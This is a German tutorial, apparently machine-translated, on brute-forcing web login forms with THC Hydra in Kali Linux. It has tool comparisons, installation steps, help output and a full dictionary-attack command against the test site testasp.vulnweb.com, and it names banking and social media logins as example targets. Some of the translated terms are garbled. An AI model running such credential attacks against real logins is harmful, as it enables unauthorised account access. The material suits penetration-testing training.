Knacken Sie die webbasierte Anmeldeseite mit Hydra in Kali Linux

Crack Web Based Login Page With Hydra Kali Linux

Ein Passwort ist technisch als geheime Zeichenfolge definiert, die zur Authentifizierung oder zum Zugriff auf Ressourcen verwendet wird. Es muss geheim gehalten und vor anderen verborgen werden, die nicht auf diese Ressourcen zugreifen dürfen. Passwörter werden seit den frühesten Tagen der Computertechnik mit Computern verwendet. Eines der ersten Time-Sharing-Systeme wurde 1961 eingeführt. Es hatte einen Login-Befehl, der ein Benutzerpasswort anforderte. Nach der Eingabe von PASSWORD schaltet das System den Druckmechanismus, wenn möglich, aus, damit der Benutzer sein Passwort vertraulich eingeben kann.

Die Stärke eines Passworts hängt von Länge, Komplexität und Unvorhersehbarkeit ab. Es misst die Wirksamkeit beim Widerstand gegen Erraten oder Brechen. Schwache Passwörter hingegen verkürzen die Zeit, die erforderlich ist, um persönliche/Unternehmens-E-Mails, sensible Daten wie Finanzinformationen, Geschäftsinformationen, Kreditkarten usw. zu erraten und darauf zuzugreifen.



Es gibt viele Möglichkeiten, wie ein Passwort schwach sein kann, entsprechend der Stärke verschiedener Angriffsschemata. Die beliebteste dieser Art von Angriffen auf Anmeldeinformationen ist Brute-Force. Es ist eine Versuch-und-Irrtum-Methode wie das Erraten, der Versuch, verschlüsselte Daten wie Passwörter oder Datenverschlüsselung zu entschlüsseln, die von Anwendungsprogrammen oder Hacking-Tools verwendet werden.



Hydra ist der schnellste Netzwerk-Logon-Cracker, der zahlreiche Angriffsprotokolle unterstützt. Es ist sehr schnell und flexibel, und neue Module können einfach hinzugefügt werden. Dieses Tool ermöglicht es Forschern und Sicherheitsberatern zu zeigen, wie einfach es wäre, sich aus der Ferne unbefugten Zugriff auf ein System zu verschaffen. Hydra wurde von van Hauser geschrieben und zusätzlich von David Maciejak unterstützt. Im neuesten Update wird die Hydra-Entwicklung in das öffentliche Github-Repository verschoben unter: https://github.com/vanhauser-thc/thc-hydra.



Hydra wurde für die Kompilierung unter Linux, Windows/Cygwin, Solaris 11, FreeBSD 8.1, OpenBSD, OSX, QNX/Blackberry getestet und wird unter GPLv3 mit einer speziellen OpenSSL-Lizenzerweiterung zur Verfügung gestellt.

THC Hydra unterstützt diese Protokolle: Cisco AAA, Cisco Auth, Cisco enable, CVS, FTP, HTTP(S)-FORM-GET, HTTP(S)-FORM-POST, HTTP(S)-GET, HTTP(S)-HEAD , HTTP-Proxy, ICQ, IMAP, IRC, LDAP, MS-SQL, MySQL, NNTP, Oracle Listener, Oracle SID, PC-Anywhere, PC-NFS, POP3, PostgreSQL, RDP, Rexec, Rlogin, Rsh, SIP, SMB (NT), SMTP, SMTP Enum, SNMP v1+v2+v3, SOCKS5, SSH (v1 und v2), SSHKEY, Subversion, Teamspeak (TS2), Telnet, VMware-Auth, VNC und XMPP.

VERGLEICH VON HYDRA MIT ANDEREN KNACKWERKZEUGEN

Neben Hydra gibt es auch viele Login-Cracker-Tools, jedoch unterstützt keines eine riesige Liste von Protokollen und parallelisierte Login-Cracker-Unterstützung wie Hydra. Die folgenden Tabellen zeigen das Ergebnis von Funktionen, Diensten und Geschwindigkeitsvergleichen mit Medusa und Ncrack.



Merkmale

Besonderheit Hydra Qualle Ncrack
Lizenz AGPLv3 GPLv2 GPLv2 + Nmap-Begriffe
IPv6-Unterstützung Jawohl Nein Nein
Grafische Benutzeroberfläche Jawohl Jawohl Nein
Internationalisierter Support (RFC 4013) Jawohl Nein Nein
HTTP-Proxy-Unterstützung Jawohl Jawohl Nein
SOCKS-Proxy-Unterstützung Jawohl Nein Nein
Unterstützte Protokolle 51 22 7

Dienstleistungen

Knacken Sie die webbasierte Anmeldeseite mit

Service Einzelheiten Hydra Qualle Ncrack
ADAM-6500 Jawohl Nein Nein
AFP Jawohl Jawohl Nein
Sternchen Jawohl Nein Nein
Cisco-Passwort Jawohl Nein Nein
Cisco aktivieren Jawohl Nein Nein
CVS Jawohl Jawohl Nein
Feuervogel Jawohl Nein Nein
FTP Jawohl Jawohl Jawohl
SSL-Unterstützung AUTH-TLS & FTP über SSL AUTH-TLS & FTP über SSL Nein
HTTP Methode(n) ERHALTEN, KOPF, POST WERDEN WERDEN
Basis-Authentifizierung Jawohl Jawohl Jawohl
HTTP-Formular Methode(n) ERHALTEN, POST ERHALTEN, POST Nein
SSL-Unterstützung HTTPS HTTPS Nein
HTTP-Proxy Basis-Authentifizierung Jawohl Nein Nein
DIGEST-MD5 Auth Jawohl Nein Nein
NTLM-Authentifizierung Jawohl Nein Nein
SSL-Unterstützung HTTPS Nein Nein
HTTP-PROXY-URL-Aufzählung Jawohl Nein Nein
ICQ v5 Jawohl
1
Nein Nein
IMAP LOGIN-Unterstützung Jawohl Jawohl Nein
AUTH LOGIN-Unterstützung Jawohl Nein Nein
AUTH PLAIN-Unterstützung Jawohl Jawohl Nein
AUTH CRAM-MD5-Unterstützung Jawohl Nein Nein
AUTH CRAM-SHA1-Unterstützung Jawohl Nein Nein
AUTH CRAM-SHA256-Unterstützung Jawohl Nein Nein
AUTH DIGEST-MD5-Unterstützung Jawohl Nein Nein
AUTH NTLM-Unterstützung Jawohl Jawohl Nein
AUTH SCRAM-SHA1-Unterstützung Jawohl Nein Nein
SSL-Unterstützung IMAPS & STARTTLS IMAPS & STARTTLS Nein
IRC Allgemeines Server-Passwort Jawohl Nein Nein
Passwort für den OPER-Modus Jawohl Nein Nein
LDAP v2, Einfache Unterstützung Jawohl Nein Nein
v3, Einfache Unterstützung Jawohl Nein Nein
v3, AUTH CRAM-MD5-Unterstützung Jawohl Nein Nein
AUTH DIGEST-MD5-Unterstützung Jawohl
AUTH NTLM-Unterstützung Jawohl Jawohl
AUTH SCRAM-SHA1-Unterstützung Jawohl
SSL-Unterstützung IMAPS & STARTTLS IMAPS & STARTTLS
IRC Allgemeines Server-Passwort Jawohl
Passwort für den OPER-Modus Jawohl
LDAP v2, Einfache Unterstützung Jawohl
v3, Einfache Unterstützung Jawohl
v3, AUTH CRAM-MD5-Unterstützung Jawohl
v3, AUTH DIGEST-MD5-Unterstützung Jawohl
MS-SQL Jawohl Jawohl
MySQL v3.x Jawohl Jawohl
v4.x Jawohl Jawohl
v5.x Jawohl Jawohl
NCP Jawohl Jawohl
NNTP Benutzer-Support Jawohl Jawohl
AUTH LOGIN-Unterstützung Jawohl
AUTH PLAIN-Unterstützung Jawohl
AUTH CRAM-MD5-Unterstützung Jawohl
AUTH DIGEST-MD5-Unterstützung Jawohl
AUTH NTLM-Unterstützung Jawohl
SSL-Unterstützung STARTTLS & NNTP über SSL
Orakel Datenbank Jawohl Jawohl
TNS-Listener Jawohl
SID-Aufzählung Jawohl
PC-NFS Jawohl
pcAnywhere Native Authentifizierung Jawohl Jawohl
Betriebssystembasierte Authentifizierung (MS) Jawohl
POP3 Benutzer-Support Jawohl Jawohl Jawohl
APOP-Unterstützung Jawohl
AUTH LOGIN-Unterstützung Jawohl Jawohl
AUTH PLAIN-Unterstützung Jawohl Jawohl
AUTH CRAM-MD5-Unterstützung Jawohl
AUTH CRAM-SHA1-Unterstützung Jawohl
AUTH CRAM-SHA256-Unterstützung Jawohl
AUTH DIGEST-MD5-Unterstützung Jawohl
AUTH NTLM-Unterstützung Jawohl Jawohl
SSL-Unterstützung POP3S & STARTTLS POP3S & STARTTLS POP3S
PostgreSQL Jawohl Jawohl
Sternchen Jawohl
RDP Windows-Workstation Jawohl Jawohl Jawohl
Windows Server Jawohl Jawohl
Domain-Authentifizierung Jawohl Jawohl
REDIS Jawohl Nein
REXEC Jawohl Jawohl
RLOGIN Jawohl Jawohl
RPCAP Jawohl Nein
RSH Jawohl Jawohl
RTSP Jawohl Nein
SAP R / 3 Jawohl
Siemens S7-300 Jawohl
SCHLUCK Jawohl
SSL-Unterstützung SIP über SSL
KMU NetBIOS-Modus Jawohl Jawohl Nein
Nativer W2K-Modus Jawohl Jawohl Jawohl
Hash-Modus Jawohl Jawohl Nein
Klartext-Authentifizierung Jawohl Jawohl
LMv1-Authentifizierung Jawohl Jawohl Jawohl
LMv2-Authentifizierung Jawohl Jawohl Jawohl
NTLMv1-Authentifizierung Jawohl Jawohl Jawohl
NTLMv2-Authentifizierung Jawohl Jawohl Jawohl
SMTP AUTH LOGIN-Unterstützung Jawohl Jawohl
AUTH PLAIN-Unterstützung Jawohl Jawohl
AUTH CRAM-MD5-Unterstützung Jawohl
AUTH DIGEST-MD5-Unterstützung Jawohl
AUTH NTLM-Unterstützung Jawohl Jawohl
SSL-Unterstützung SMTPS & STARTTLS SMTPS & STARTTLS
SMTP-Benutzeraufzählung VRFY-Befehlszeile Jawohl Jawohl
EXPN-Befehlszeile Jawohl Jawohl
RCPT TO cmd Jawohl Jawohl
SNMP v1 Jawohl Jawohl
v2c Jawohl Jawohl
v3 (nur MD5/SHA1-Authentifizierung)
SOCKEN v5, Passwort-Authentifizierung Jawohl
SSH v1 Jawohl
v2 Jawohl Jawohl Jawohl
SSH-Schlüssel v1, v2 Jawohl
Subversion (SVN) Jawohl Jawohl
TeamSpeak TS2 Jawohl
Telnet Jawohl Jawohl Jawohl
XMPP AUTH LOGIN-Unterstützung Jawohl
AUTH PLAIN-Unterstützung Jawohl
AUTH CRAM-MD5-Unterstützung Jawohl
AUTH DIGEST-MD5-Unterstützung Jawohl
AUTH SCRAM-SHA1-Unterstützung Jawohl
VMware Auth-Daemon v1.00 / v1.10 Jawohl Jawohl
SSL-Unterstützung Jawohl Jawohl
VNC Unterstützung von RFB 3.x-Passwörtern Jawohl Jawohl
RFB 3.x-Benutzer + Passwort-Unterstützung (nur UltraVNC)
Unterstützung von RFB 4.x-Passwörtern Jawohl Jawohl
RFB 4.x-Benutzer + Passwort-Unterstützung (nur UltraVNC)

Geschwindigkeitsvergleich

Geschwindigkeit (in s) Hydra Qualle Ncrack
1 Task / FTP-Modul 11.93 12.97 18.01
4 Aufgaben / FTP-Modul 4.20 5,24 9.01
16 Aufgaben / FTP-Modul 2.44 2,71 12.01
1 Aufgabe / SSH v2-Modul 32,56 33,84 45.02
4 Aufgaben / SSH v2-Modul 10,95 Gebrochen Verpasst
16 Aufgaben / SSH v2-Modul 5.14 Gebrochen Verpasst

Das war eine kurze einfache Einführung in Hydra. Kommen wir nun zur Installation.

INSTALLATION VON HYDRA

Hydra ist auf Kali Linux vorinstalliert, aber wenn Sie ein anderes Betriebssystem haben, können Sie es kompilieren und auf Ihrem System installieren. Derzeit unterstützt Hydra auf verschiedenen Plattformen:

  • Alle UNIX-Plattformen (Linux, *bsd, Solaris usw.)
  • MacOS (im Grunde ein BSD-Klon)
  • Windows mit Cygwin (sowohl IPv4 als auch IPv6)
  • Mobile Systeme auf Basis von Linux, MacOS oder QNX (z.B. Android, iPhone, Blackberry 10, Zaurus, iPaq)

Um hydra herunterzuladen, zu konfigurieren, zu kompilieren und zu installieren, geben Sie einfach in das Terminal ein:

git clone https://github.com/vanhauser-thc/thc-hydra.git cd thc-hydra ./configure make make install 

Wenn Sie Ubuntu/Debian haben, benötigen Sie einige Abhängigkeitsbibliotheken:

apt install libssl-dev libssh-dev libidn11-dev libpcre3-dev libgtk2.0-dev libmysqlclient-dev libpq-dev libsvn-dev firebird-dev libncp-dev 

Wenn Sie diese Bibliotheken in Ihrem Repository nicht finden konnten, müssen Sie sie manuell herunterladen und installieren.

VERWENDUNG VON HYDRA

Herzlichen Glückwunsch, jetzt ist es Ihnen gelungen, hydra auf Ihrem System zu installieren. Tatsächlich kommt Hydra mit zwei Geschmacksrichtungen, GUI-gtk und meiner Lieblings-CLI-Version. und zusätzlich hat hydra auch eine CLI-geführte Version, den sogenannten hydra-wizard. Sie werden Schritt für Schritt geführt, anstatt alle Befehle oder Argumente manuell in das Terminal einzugeben. Um Hydra auszuführen, geben Sie von Ihrem Terminal aus Folgendes ein:

Für CLI:

hydra

Für CLI-Assistenten:

hydra-wizard

Für GUI:

xhydra

Nachdem Sie ‚hydra‘ eingegeben haben, werden Hilfebefehle wie diese angezeigt:

 [email protected] :~# hydra -h Hydra v8.6 (c)2017 by van Hauser/THC & David Maciejak - for legal purposes only Syntax: hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-W TIME] [-f] [-s PORT] [-x MIN:MAX:CHARSET] [-SuvV46] [service://server[:PORT][/OPT]] Options: -R restore a previous aborted/crashed session -S perform an SSL connect -s PORT if the service is on a different default port, define it here -l LOGIN or -L FILE login with LOGIN name, or load several logins from FILE -p PASS or -P FILE try password PASS, or load several passwords from FILE -x MIN:MAX:CHARSET password bruteforce generation, type '-x -h' to get help -e nsr try 'n' null password, 's' login as pass and/or 'r' reversed login -u loop around users, not passwords (effective! implied with -x) -C FILE colon separated 'login:pass' format, instead of -L/-P options -M FILE list of servers to be attacked in parallel, one entry per line -o FILE write found login/password pairs to FILE instead of stdout -f / -F exit when a login/pass pair is found (-M: -f per host, -F global) -t TASKS run TASKS number of connects in parallel (per host, default: 16) -w / -W TIME waittime for responses (32s) / between connects per thread -4 / -6 prefer IPv4 (default) or IPv6 addresses -v / -V / -d verbose mode / show login+pass for each attempt / debug mode -U service module usage details server the target server (use either this OR the -M option) service the service to crack (see below for supported protocols) OPT some service modules support additional input (-U for module help) Supported services: asterisk afp cisco cisco-enable cvs firebird ftp ftps http[s]-head http[s]-post-form http-proxy http-proxy-urlenum icq imap[s] irc ldap2[s] ldap3[-crammd5][s] mssql mysql ncp nntp oracle-listener oracle-sid pcanywhere pcnfs pop3[s] postgres rdp rexec rlogin rsh s7-300 sip smb smtp[s] smtp-enum snmp socks5 ssh sshkey svn teamspeak telnet[s] vmauthd vnc xmpp Hydra is a tool to guess/crack valid login/password pairs - usage only allowed for legal purposes. This tool is licensed under AGPL v3.0. The newest version is always available at http://www.thc.org/thc-hydra These services were not compiled in: sapr3 oracle. Use HYDRA_PROXY_HTTP or HYDRA_PROXY - and if needed HYDRA_PROXY_AUTH - environment for a proxy setup. E.g.: % export HYDRA_PROXY=socks5://127.0.0.1:9150 (or socks4:// or connect://) % export HYDRA_PROXY_HTTP=http://proxy:8080 % export HYDRA_PROXY_AUTH=user:pass Examples: hydra -l user -P passlist.txt ftp://192.168.0.1 hydra -L userlist.txt -p defaultpw imap://192.168.0.1/PLAIN hydra -C defaults.txt -6 pop3s://[fe80::2c:31ff:fe12:ac11]:143/TLS:DIGEST-MD5 hydra -l admin -p password ftp://[192.168.0.0/24]/ hydra -L logins.txt -P pws.txt -M targets.txt ssh

Bruteforce webbasierte Anmeldung mit hydra

Hydra unterstützt einige Brute-Forcing-Dienste, wie ich bereits erwähnt habe. Einer von ihnen wird verwendet, um webbasierte Anmeldungen wie das Anmeldeformular für soziale Medien, das Anmeldeformular für Benutzerbanking, die webbasierte Anmeldung Ihres Routers usw. zu erzwingen die diese Anfrage bearbeiten wird. In diesem Tutorial zeige ich Ihnen, wie Sie anfällige Web-Logins per Bruteforce erzwingen können. Bevor wir Hydra starten, sollten wir einige notwendige Argumente kennen, wie die folgenden:

  • Ziel : http://testasp.vulnweb.com/Login.asp?RetURL=%2FDefault%2Easp%3F
  • Login Benutzername : Administrator (Wenn Sie sich nicht sicher sind, Bruteforce dies)
  • Passwortliste : Der Speicherort der Wörterbuchdateiliste mit möglichen Passwörtern.
  • Formularparameter : Verwenden Sie im Allgemeinen Manipulationsdaten oder einen Proxy, um Form von Anforderungsparametern zu erhalten. Aber hier verwende ich Iceweasel, Firefox-basierte, Netzwerkentwickler-Toolbar.
  • Servicemodul : http-post-Formular
Help for module http-post-form: ============================================================================ Module http-post-form requires the page and the parameters for the web form. By default this module is configured to follow a maximum of 5 redirections in a row. It always gathers a new cookie from the same URL without variables The parameters take three ':' separated values, plus optional values. (Note: if you need a colon in the option string as value, escape it with ':', but do not escape a '' with '\'.) Syntax: [url]:[form parameters]:[condition string][:(optional)[:(optional)] First is the page on the server to GET or POST to (URL). Second is the POST/GET variables (taken from either the browser, proxy, etc. with usernames and passwords being replaced in the '^USER^' and '^PASS^' placeholders (FORM PARAMETERS) Third is the string that it checks for an *invalid* login (by default) Invalid condition login check can be preceded by 'F=', successful condition login check must be preceded by 'S='. This is where most people get it wrong. You have to check the webapp what a failed string looks like and put it in this parameter! The following parameters are optional: C=/page/uri to define a different page to gather initial cookies from (h|H)=My-Hdr: foo to send a user defined HTTP header with each request ^USER^ and ^PASS^ can also be put into these headers! Note: 'h' will add the user-defined header at the end regardless it's already being sent by Hydra or not. 'H' will replace the value of that header if it exists, by the one supplied by the user, or add the header at the end Note that if you are going to put colons (:) in your headers you should escape them with a backslash (). All colons that are not option separators should be escaped (see the examples above and below). You can specify a header without escaping the colons, but that way you will not be able to put colons in the header value itself, as they will be interpreted by hydra as option separators.

Abrufen von Post-Parametern mit Browser, iceweasel/firefox

Drücken Sie in Ihrem Firefox-Browser die Tasten ‘ STRG + UMSCHALT + Q ‘. Öffnen Sie dann die Web-Anmeldeseitehttp://testasp.vulnweb.com/Login.asp?RetURL=%2FDefault%2Easp%3F, werden Sie feststellen, dass auf der Registerkarte Netzwerkentwickler ein Text angezeigt wird. Es sagt Ihnen, welche Dateien an uns übertragen werden. Siehe die Methode alle sind GET, da wir noch keine Daten POST haben.

Um die Post-Form-Parameter abzurufen, geben Sie alles in das Benutzername- und/oder Kennwortformular ein. Sie werden eine neue POST-Methode auf der Registerkarte Netzwerkentwickler bemerken. Doppelklicken Sie auf diese Zeile, klicken Sie auf der Registerkarte Kopfzeilen auf die Schaltfläche Bearbeiten und erneut senden auf der rechten Seite. Kopieren Sie im Anforderungstext die letzte Zeile, z. B. tfUName = asu & tfUPass = raimu . das tfUName und tfUPass sind Parameter, die wir brauchen. Wie unten zu sehen:

Kali Linux hat eine Reihe von Wortlisten, wählen Sie die entsprechende Wortliste oder verwenden Sie einfach rockyou.txt in /usr/share/wordlists/ wie unten zu sehen:

Okay, jetzt haben wir alle Argumente, die wir brauchen und sind bereit, Hydra anzufeuern. Hier ist das Befehlsmuster:

hydra -l -P [/code] Finally, based on information we have gathered, our commands ahould look something like this: hydra -l admin -P /usr/share/wordlists/rockyou.txt testasp.vulnweb.com http-post-form '/Login.asp?RetURL=%2FDefault%2Easp%3F:tfUName=^USER^&tfUPass=^PASS^:S=logout' -vV -f

Lassen Sie uns die Befehle aufschlüsseln:

  • das : ist ein Wort, das den Benutzernamen-Account enthält. Verwenden Sie -L, um eine Liste möglicher Benutzernamen in einer Datei zu verweisen.
  • P : ist eine Dateiliste mit möglichen Passwörtern, verwenden Sie -p, um buchstäblich ein Wort Passwort zu verwenden, anstatt es zu erraten.
  • testapp.vunlwebapp.com : ist ein Hostname oder ein Ziel
  • http-post-Formular : ist das Servicemodul, das wir verwenden
  • /Login.asp?RetURL=%2FDefault%2Easp%3F:tfUName=^USER^&tfUPass=^PASS^:S=Logout = die 3 benötigten Parameter, die Syntax lautet:
    {page URL}:{Request post body form parameters}:S={Finden Sie alles auf der Seite, nachdem Sie sich erfolgreich angemeldet haben}
  • v = Ausführlicher Modus
  • V = Login anzeigen: Pass für jeden Versuch
  • F = Programm beenden, wenn Paar Login:Passwort gefunden wird

Lassen Sie uns nun Hydra versuchen, das Passwort für uns zu knacken, es braucht Zeit, da es sich um einen Wörterbuchangriff handelt. Sobald Sie erfolgreich ein Login:Passwort-Paar gefunden haben, wird hydra den Job sofort beenden und die gültigen Anmeldeinformationen anzeigen.

Es gibt so viel, was hydra tun könnte, da wir in diesem Tutorial gerade gelernt haben, wie man sich mit hydra bei der webbasierten Anmeldung mit Bruteforce einloggt. Wir lernen nur ein Protokoll, nämlich das http-post-form-Protokoll. Wir können hydra auch gegen ein anderes Protokoll wie ssh, ftp, telnet, VNC, Proxy usw. verwenden.